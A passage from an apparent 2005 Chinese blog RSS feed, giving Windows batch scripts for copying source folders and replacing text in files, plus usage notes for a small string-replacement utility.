<P>%CD%&nbsp;&nbsp; 当前路径current directory<BR>ITH305 <A href="http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html">http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html</A><BR>&nbsp;<BR>批处理copy特定名称目录的内容：</P>
<P>shark的模块有二十六个，源文件分散在各个文件夹(如下)。用eclipse阅读的话要一个个把src文件的内容导入到项目中。在家摆弄的时候总算想到个方法来自动copy这些文件。(人家分类分得好好的，我把他们合并在一起，这是搞破坏哈)<BR>&nbsp;<BR>文件目录形式:<BR>shark-1.1<BR>&nbsp;&nbsp;&nbsp; modules<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SharkAPI<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; src<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SharkApplicationMapPersistence<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DODS<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; src<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hibernate<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; src<BR>&nbsp;&nbsp;&nbsp; ...<BR>&nbsp;<BR>cpysrc.dat<BR>&nbsp;<BR>@echo off<BR>if "X%1"=="X" goto initialize<BR>goto becalled<BR>:initialize<BR>if exist subdirs.txt del subdirs.txt&gt;nul<BR>dir /d /b /a:d&gt; subdirs.txt<BR>for /f %%i in (subdirs.txt ) do call E:\Resource\shark-1.1\modules\cpysrc.bat %%i<BR>del subdirs.txt&gt;nul<BR>goto end<BR>:becalled<BR>if "%1"=="src" xcopy src\*.* E:\JavaApp\Shark\src\ /s &amp;&amp; goto end<BR>cd %1<BR>call E:\Resource\shark-1.1\modules\cpysrc.bat<BR>cd ..<BR>:end<BR>&nbsp;<BR>在cpysrc.bat保存到E:\Resource\shark-1.1\modules\下并执行就可以。cpysrc.bat将遍历当前目录下的所有目录，并copy名为src文件夹下的所有内容到E:\JavaApp\Shark\src\。</P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5570.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 08:52 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5570.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>再关于文本替换...[事实又一次证明俺是乡巴佬] </title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5565.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 00:34:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5565.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5565.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5565.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5565.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5565.html</trackback:ping><description><![CDATA[转自<A href="https://www.xfocus.net/bbs/index.php?act=SE&amp;f=2&amp;t=46712&amp;p=190038">https://www.xfocus.net/bbs/index.php?act=SE&amp;f=2&amp;t=46712&amp;p=190038</A>。做过修改。<BR>此链接推荐去看一看正文和回复...强淫啊<BR>&nbsp;<BR>@echo on<BR>&nbsp;<BR>setlocal<BR>&nbsp;<BR>rem DPATH&nbsp;&nbsp; : 指定目录<BR>rem FILETYPE: 指定文件类型<BR>rem SCONTENT: 替换前的字符串<BR>rem DCONTENT: 替换后的字符串<BR>rem TMPFILE : 临时文件<BR>&nbsp;<BR>set DPATH=c:\temp\test<BR>set FILETYPE=*.txt<BR>set SCONTENT=aaa<BR>set DCONTENT=bbb<BR>set TMPFILE=%random%.tmp<BR>&nbsp;<BR>for /r %DPATH% %%i in ( %FILETYPE% ) do ( <BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp; if exist %TMPFILE% ( del /f/q %TMPFILE% ) <BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp; for /f "tokens=*" %%j in ('type "%%i"') do (<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set TMP=%%j &amp;&amp; echo !TMP:%SCONTENT%=%DCONTENT%!&gt;nul 1&gt;&gt;%TMPFILE%<BR>&nbsp;&nbsp;&nbsp; ) <BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp; move /y %TMPFILE%&nbsp; %%i<BR>)<BR>&nbsp;<BR>endlocal<BR>&nbsp;<BR>&nbsp;<BR>把以上内容保存为replace.bat,然后在命令行下执行cmd /v:on /c replace.bat<BR>本例子实现了把c:\test目录（包括子目录）中所有txt文件中的aaa替换成bbb<BR>&nbsp;<BR>&nbsp;<BR>set TMP=%%j &amp;&amp; echo !TMP:%SCONTENT%=%DCONTENT%!&gt;nul 1&gt;&gt;%TMPFILE%<BR>奇怪的格式...<BR>用到的是环境变量替换&nbsp; set /? 查看帮助<BR>不过也够怪异的...<BR>实际上应该是<BR>set TMP=%%j &amp;&amp; echo !TMP:%SCONTENT%=%DCONTENT%!&gt;&gt;%TMPFILE%<BR>？<BR>cmd必须以 /v:on参数启动的...<img src ="http://www.cnitblog.com/Raistlin/aggbug/5565.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 08:34 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5565.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>为DOS批处理增加替换文本的功能[附代码和程序] V1.0</title><link>http://www.cnitblog.com/Raistlin/archive/2005/11/11/4329.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Fri, 11 Nov 2005 05:51:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/11/11/4329.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/4329.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/11/11/4329.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/4329.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/4329.html</trackback:ping><description><![CDATA[<P>为DOS批处理增加替换文本的功能[含源代码]ver 1.0<BR>版本:1.0</P>
<P>/*<BR>modified:<BR>去掉了对管道的操作，尽量采用stl。<BR>增加了帮助功能<BR>采用了KMP算法来查找字符串。从清华大学的《数据结构》上抄的...<BR>所有内容只被读入一次，只保存在一个地方。时间复杂度和空间复杂度应该都有所降低。<BR>*/</P>
<P>/*<BR>WARNING:程序未经过测试，只经过调试。哈<BR>*/</P>
<P>用法:将strrpc.exe复制到你的system32目录或者任何一个PATH目录,在dos命令行执行即可</P>
<P>/*<BR>&nbsp;strrpc&nbsp; [/L:m-|m+|m-n|m] [/P:m-|m+|m-n|m] [/I] [/O] original [objective] [/S:srcfile [/C]] [/E]</P>
<P>&nbsp;[/L:m-|m+|m-n|m]&nbsp;对于行,只替换(0,m]个,或[m,infinite),或[m,n]或第m行.m&gt;=n&gt;0 (行号从1开始)<BR>&nbsp;[/P:m-|m+|m-n|m]&nbsp;对于出现的原始字符串,同上<BR>&nbsp;[/I]&nbsp;&nbsp;&nbsp;&nbsp;搜索时忽略大小写<BR>&nbsp;[/O]&nbsp;&nbsp;&nbsp;&nbsp;只显示替换过的行<BR>&nbsp;original&nbsp;&nbsp;&nbsp;要替换的字符串<BR>&nbsp;[objective]&nbsp;&nbsp;&nbsp;用来替换的字符串，如果为空则替换为空字符串<BR>&nbsp;[/S:srcfile]&nbsp;&nbsp;&nbsp;&nbsp; 指定源文件,如果没有指定,将处理键入的或由另一命令产生的文字<BR>&nbsp;[/C]&nbsp;&nbsp;&nbsp;&nbsp;只有当指定源文件时有效。用替换的结果覆盖源文件<BR>&nbsp;[/E]&nbsp;&nbsp;&nbsp;&nbsp;消除空行<BR>&nbsp;&nbsp;&nbsp; [/?]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示帮助<BR>*/</P>
<P>例子(在DOS命令行下):<BR>1:<BR>echo abcdef | strrpc abc def<BR>defdef</P>
<P>2:<BR>echo abcdef | strrpc aBC def /i<BR>defdef</P>
<P>3:<BR>echo abcabcdef | strrpc Abc def /i /p:2<BR>abcdefdef</P>
<P>创建c:\test.txt内容如下<BR>一.简单批处理内部命令简介<BR>1.Echo 命令<BR>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<BR>语法<BR>echo [{ on|off }] [message]<BR>Sample：@echo off / echo hello world<BR>在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。</P>
<P>然后执行dos命令:<BR>4:<BR>strrpc echo 回音 /i /L:5-6 /p:1- /s:c:\test.txt /o<BR>回音 [{ on|off }] [message]</P>
<P>5:<BR>strrpc echo 回音 /i /L:5-6 /p:1- /s:c:\test.txt /o &gt;result.txt<BR>result.txt内容为<BR>回音 [{ on|off }] [message]</P>
<P>第4个和第5个例子解释： 把c:\test.txt中的从第5行到第6行的第一次出现的不区分大小写"echo"替换为"回音"，并只把替换过的行的替换结果输出到控制台或当前目录下的result.txt文件。</P>
<P>&nbsp;</P>
<P><BR><BR>附件<A HREF="/Files/Raistlin/strrpc.zip">ver0.001</A>&nbsp;<A HREF="/Files/Raistlin/strrpcV10.zip">ver1.0</A></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/4329.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-11-11 13:51 <a href="http://www.cnitblog.com/Raistlin/archive/2005/11/11/4329.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>